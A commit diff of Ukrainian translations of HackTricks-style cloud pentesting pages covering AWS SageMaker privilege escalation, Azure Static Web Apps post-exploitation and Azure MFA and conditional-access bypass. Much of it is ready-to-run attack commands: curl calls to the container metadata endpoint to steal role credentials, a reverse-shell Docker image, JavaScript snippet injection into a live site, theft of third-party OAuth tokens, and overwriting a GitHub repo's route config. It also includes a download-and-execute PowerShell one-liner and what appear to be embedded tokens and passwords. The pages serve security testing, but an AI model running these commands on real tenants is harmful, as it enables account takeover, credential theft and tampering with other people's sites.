Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-05 22:58:40 +00:00
parent 04e84d915a
commit 38d4b0c6cc
5 changed files with 290 additions and 19 deletions

View File

@@ -17,15 +17,15 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
Перейдіть за URL у браузері та натисніть на \`Open JupyterLab\` у верхньому правому куті, потім прокрутіть вниз до вкладки “Launcher” і в розділі “Other” натисніть кнопку “Terminal”.
Перейдіть за URL-адресою в браузері та натисніть на \`Open JupyterLab\` у верхньому правому куті, потім прокрутіть вниз до вкладки “Launcher” і в розділі “Other” натисніть кнопку “Terminal”.
Тепер можливо отримати доступ до облікових даних метаданих IAM Role.
**Потенційний вплив:** Privesc до ролі сервісу sagemaker.
**Potential Impact:** Privesc до ролі сервісу sagemaker, що вказана.
### `sagemaker:CreatePresignedNotebookInstanceUrl`
Якщо на ньому вже **запущені Jupyter ноутбуки** і ви можете їх перерахувати за допомогою `sagemaker:ListNotebookInstances` (або виявити їх будь-яким іншим способом). Ви можете **згенерувати URL для них, отримати до них доступ і вкрасти облікові дані, як зазначено в попередній техніці**.
Якщо на ньому **вже запущені Jupyter ноутбуки** і ви можете їх перерахувати за допомогою `sagemaker:ListNotebookInstances` (або виявити їх будь-яким іншим способом). Ви можете **згенерувати URL для них, отримати до них доступ і вкрасти облікові дані, як зазначено в попередній техніці**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
@@ -45,11 +45,11 @@ aws sagemaker create-processing-job \
# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
```
**Потенційний вплив:** Privesc до ролі служби sagemaker, що вказана.
**Потенційний вплив:** Privesc до ролі служби sagemaker.
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
Зловмисник з цими дозволами зможе створити навчальну задачу, **запускаючи довільний контейнер** на ній з **прикріпленою роллю**. Тому зловмисник зможе вкрасти облікові дані ролі.
Зловмисник з цими дозволами зможе створити навчальну задачу, **запускаючи довільний контейнер** на ній з **прикріпленою роллю**. Отже, зловмисник зможе вкрасти облікові дані ролі.
> [!WARNING]
> Цей сценарій складніше експлуатувати, ніж попередній, оскільки вам потрібно створити образ Docker, який надішле rev shell або облікові дані безпосередньо зловмиснику (ви не можете вказати команду запуску в конфігурації навчальної задачі).
@@ -71,7 +71,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
> cd /tmp/rev
> sudo docker build . -t reverseshell
>
> # Завантажте його в ECR
> # Завантажити його в ECR
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
@@ -90,12 +90,12 @@ aws sagemaker create-training-job \
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
```
**Потенційний вплив:** Privesc до ролі служби sagemaker, що вказана.
**Потенційний вплив:** Privesc до ролі служби sagemaker.
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Зловмисник з цими дозволами зможе (потенційно) створити **роботу з навчання гіперпараметрів**, **запускаючи довільний контейнер** на ній з **долученою роллю**.\
&#xNAN;_&#x49; не експлуатував через брак часу, але виглядає подібно до попередніх експлойтів, не соромтеся надіслати PR з деталями експлуатації._
Зловмисник з цими дозволами зможе (потенційно) створити **роботу з навчання гіперпараметрів**, **запускаючи довільний контейнер** з прикріпленою **роллю**.\
_Я не експлуатував через брак часу, але це виглядає подібно до попередніх експлойтів, не соромтеся надіслати PR з деталями експлуатації._
## Посилання

View File

@@ -0,0 +1,162 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
Для отримання додаткової інформації про цю службу перегляньте:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
Можливо змусити статичну веб-сторінку завантажувати довільний HTML-код, створивши фрагмент. Це може дозволити зловмиснику впровадити JS-код у веб-додаток і вкрасти чутливу інформацію, таку як облікові дані або мнемонічні ключі (в гаманцях web3).
Наступна команда створює фрагмент, який завжди буде завантажуватися веб-додатком::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Читання налаштованих облікових даних третьої сторони
Як пояснено в розділі App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Запустивши наступну команду, можна **прочитати облікові дані третьої сторони**, налаштовані в поточному обліковому записі. Зверніть увагу, що якщо, наприклад, деякі облікові дані Github налаштовані в іншому користувачеві, ви не зможете отримати токен з іншого.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive.
Ось кілька прикладів команд для перевірки токенів:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Перезаписати файл - Перезаписати маршрути, HTML, JS...
Можливо **перезаписати файл у репозиторії Github**, що містить додаток через Azure, маючи **токен Github**, надіславши запит, подібний до наступного, який вказуватиме шлях до файлу для перезапису, вміст файлу та повідомлення про коміт.
Це може бути використано зловмисниками для того, щоб в основному **змінити вміст веб-додатку** для надання шкідливого контенту (викрадення облікових даних, мнемонічних ключів...) або просто для **перенаправлення певних шляхів** на свої власні сервери, перезаписуючи файл `staticwebapp.config.json`.
> [!WARNING]
> Зверніть увагу, що якщо зловмисник зможе скомпрометувати репозиторій Github будь-яким чином, він також зможе перезаписати файл безпосередньо з Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
З цією дозволом можливо **змінити пароль**, що захищає статичний веб-додаток, або навіть зняти захист з кожного середовища, надіславши запит, подібний до наступного:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
Ця дозволяє отримати **токен ключа API для розгортання** статичного додатку.
Цей токен дозволяє розгортати додаток.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Тоді, щоб оновити додаток, ви можете виконати наступну команду. Зверніть увагу, що ця команда була отримана, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це те, що Azure встановив за замовчуванням. Тому зображення та параметри можуть змінитися в майбутньому.
1. Завантажте репозиторій [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) і виконайте `cd react-basic`.
2. Змініть код, який ви хочете розгорнути
3. Розгорніть його, виконавши (не забудьте змінити `<api-token>`):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
З цією дозволом можливо **змінити джерело статичного веб-додатку на інший репозиторій Github**, однак, він не буде автоматично наданий, оскільки це потрібно робити з Github Action, зазвичай з токеном, який авторизував дію, оскільки цей токен не оновлюється автоматично в секретах Githb репозиторію (він просто додається автоматично, коли додаток створюється).
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
З цією дозволом можливо **скинути API-ключ статичного веб-додатку**, потенційно викликавши DoS-атаки на робочі процеси, які автоматично розгортають додаток.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -24,11 +24,11 @@
- Можна обійти, використовуючи VPN або проксі для підключення до країни або намагаючись увійти з дозволеної IP-адреси
- **Ризики Microsoft**: Ризик користувача, ризик входу, ризик зсередини
- **Платформи пристроїв**: Будь-який пристрій або вибрати Android, iOS, Windows phone, Windows, macOS, Linux
- Якщо “Будь-який пристрій” не вибрано, але всі інші опції вибрані, можна обійти це, використовуючи випадковий user-agent, не пов'язаний з цими платформами
- **Клієнтські програми**: Опції - “Браузер”, “Мобільні програми та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти”
- Якщо не вибрано “Будь-який пристрій”, але вибрані всі інші опції, можна обійти це, використовуючи випадковий user-agent, не пов'язаний з цими платформами
- **Клієнтські програми**: Опції “Браузер”, “Мобільні програми та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти”
- Щоб обійти вхід з не вибраною опцією
- **Фільтр для пристроїв**: Можна створити правило, пов'язане з використаним пристроєм
- **Потоки аутентифікації**: Опції - “Потік коду пристрою” та “Передача аутентифікації”
- **Потоки аутентифікації**: Опції “Потік коду пристрою” та “Передача аутентифікації”
- Це не вплине на зловмисника, якщо він намагається зловживати будь-якими з цих протоколів у фішинговій спробі отримати доступ до облікового запису жертви
Можливі **результати**: Блокування або надання доступу з потенційними умовами, такими як вимога MFA, відповідність пристрою…
@@ -44,7 +44,7 @@
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;Або використати [розширення браузера, як це](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
Або використати [розширення браузера, як це](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Локації: Країни, діапазони IP - Умова пристрою
@@ -57,7 +57,7 @@
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Щоб спробувати обійти цей захист, вам слід перевірити, чи можете ви **увійти лише в будь-який додаток**.\
Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі** і спробує увійти в них, повідомить вам і навіть надасть токен, якщо вдасться.
Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі**, і спробує увійти в них і повідомить вас, а також надасть токен, якщо вдасться.
Щоб **перевірити конкретні ідентифікатори додатків у конкретних ресурсах**, ви також можете використовувати інструмент, такий як:
```bash
@@ -67,13 +67,13 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
```
Більше того, також можливо захистити метод входу (наприклад, якщо ви намагаєтеся увійти з браузера або з настільного додатку). Інструмент [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) виконує деякі перевірки, щоб спробувати обійти ці захисти.
Інструмент [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) також може бути використаний для подібних цілей, хоча виглядає так, що він не підтримується.
Інструмент [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) також може бути використаний для подібних цілей, хоча виглядає так, ніби він не підтримується.
Інструмент [**ROPCI**](https://github.com/wunderwuzzi23/ropci) також може бути використаний для тестування цих захистів і перевірки, чи можливо обійти MFA або блокування, але цей інструмент працює з точки зору **whitebox**. Спочатку потрібно завантажити список додатків, дозволених у орендаря, а потім він спробує увійти в них.
## Інші обходи Az MFA
### Рингтон
### Дзвінок
Одна з опцій Azure MFA - це **отримати дзвінок на налаштований номер телефону**, де буде запитано користувача **надіслати символ `#`**.
@@ -116,7 +116,7 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep - це скрипт PowerShell, який намагається **увійти до різних сервісів Microsoft, використовуючи наданий набір облікових даних, і намагатиметься визначити, чи увімкнено MFA**. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може намагатися увійти до локального сервера ADFS, якщо він виявлений.
MFASweep - це скрипт PowerShell, який намагається **увійти до різних сервісів Microsoft, використовуючи наданий набір облікових даних, і намагається визначити, чи увімкнено MFA**. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може намагатися увійти до локального сервера ADFS, якщо його виявлено.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
@@ -135,13 +135,13 @@ Invoke-MFASweep -Username <username> -Password <pass>
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки Політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо.
Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо.
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**Тестуйте кожен портал**, чи можливо **увійти без MFA**:
**Перевірте кожен портал**, чи можливо **увійти без MFA**:
```powershell
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force

View File

@@ -0,0 +1,109 @@
# Az - Static Web Apps
{{#include ../../../banners/hacktricks-training.md}}
## Static Web Apps Basic Information
Azure Static Web Apps - це хмарний сервіс для хостингу **статичних веб-додатків з автоматичним CI/CD з репозиторіїв, таких як GitHub**. Він пропонує глобальну доставку контенту, безсерверні бекенди та вбудований HTTPS, що робить його безпечним і масштабованим. Однак ризики включають неправильно налаштований CORS, недостатню аутентифікацію та підробку контенту, що може піддати додатки атакам, таким як XSS та витік даних, якщо їх не управляти належним чином.
> [!TIP]
> Коли створюється статичний додаток, ви можете вибрати **політику авторизації розгортання** між **токеном розгортання** та **робочим процесом GitHub Actions**.
### Web App Authentication
Можливо **налаштувати пароль** для доступу до веб-додатку. Веб-консоль дозволяє налаштувати його для захисту лише тестових середовищ або обох - тестового та виробничого.
Ось як на момент написання виглядає веб-додаток з паролем:
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
Можливо побачити **чи використовується якийсь пароль** і які середовища захищені за допомогою:
```bash
az rest --method GET \
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
```
Однак це **не покаже пароль у відкритому вигляді**, лише щось на кшталт: `"password": "**********************"`.
### Маршрути
Маршрути визначають **як обробляються вхідні HTTP запити** в статичному веб-додатку. Налаштовані у файлі **`staticwebapp.config.json`**, вони контролюють переписування URL, перенаправлення, обмеження доступу та авторизацію на основі ролей, забезпечуючи належну обробку ресурсів та безпеку.
Декілька прикладів:
```json
{
"routes": [
{
"route": "/",
"rewrite": "/index.html"
},
{
"route": "/about",
"rewrite": "/about.html"
},
{
"route": "/api/*",
"allowedRoles": ["authenticated"]
},
{
"route": "/admin",
"redirect": "/login",
"statusCode": 302
}
],
"navigationFallback": {
"rewrite": "/index.html",
"exclude": ["/api/*", "/assets/*"]
}
}
```
## Перерахування
```bash
# List Static Webapps
az staticwebapp list --output table
# Get Static Webapp details
az staticwebapp show --name <name> --resource-group <res-group> --output table
# Get appsettings
az staticwebapp appsettings list --name <name>
# Get env information
az staticwebapp environment list --name <name>
az staticwebapp environment functions --name <name>
# Get API key
az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
```
## Приклади для створення веб-додатків
Ви можете знайти гарний приклад для створення веб-додатку за наступним посиланням: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. Зробіть форк репозиторію https://github.com/staticwebdev/react-basic/generate у вашому обліковому записі GitHub і назвіть його `my-first-static-web-app`
2. У порталі Azure створіть Static Web App, налаштувавши доступ до Github і вибравши раніше форкнутий новий репозиторій
3. Створіть його, почекайте кілька хвилин і перевірте вашу нову сторінку!
## Постексплуатація
{{#ref}}
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
{{#endref}}
## Посилання
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
{{#include ../../../banners/hacktricks-training.md}}